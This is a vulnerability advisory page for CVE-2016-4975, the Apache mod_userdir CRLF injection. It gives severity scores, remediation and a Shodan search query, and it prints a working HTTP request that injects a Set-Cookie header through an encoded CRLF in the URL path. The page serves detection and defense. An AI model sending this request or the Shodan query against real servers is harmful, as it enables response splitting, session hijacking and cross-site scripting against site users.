🔙 목록으로 돌아가기

CVE-2016-4975: Apache mod_userdir CRLF injection

TitleApache mod_userdir CRLF injection
Authormelbadry9,nadino,xElkomy
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and cache poisoning.
RemediationUpgrade to Apache HTTP Server 2.2.32/2.4.25 or higher.
CVSS Score6.1
EPSS Score0.73014
CVE IDCVE-2016-4975
CWE IDCWE-93
Shodan Querycpe:"cpe:2.3:a:apache:http_server"apache 2.4.49
Tags cve2016 cve crlf apache xss vuln

🔍 Vulnerability Description

Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.

🌐 HTTP Request

GET /~user/%0D%0ASet-Cookie:crlfinjection HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-4975.yaml

🦈 Packet Capture: ⬇️ Download cve-2016-4975.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A